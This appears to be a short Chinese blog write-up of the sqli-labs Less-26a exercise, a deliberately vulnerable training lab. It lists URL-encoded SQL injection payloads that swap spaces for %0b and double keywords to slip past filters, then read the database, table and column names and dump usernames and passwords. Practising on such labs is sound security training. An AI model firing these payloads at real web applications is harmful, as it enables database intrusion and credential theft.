Less(26a)GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

1.这一关和Less(26)区别在于,在sql宇航员添加了一个括号,同时在SQL语句抛出错处后并不在前台页面输出,所以我们用排错型注入

  sql语句:SELECT *FROM users WHERE id=('$id') LIMIT 0,1

2.爆破

  (1)爆库:?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

     

 

   (2)爆表:

?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

    

  (3)爆列名:

?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

    

  (4)爆值:?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b('1')=('1

    

 

posted @ 2020-03-02 15:27  孟雨  阅读(194)  评论(0编辑  收藏  举报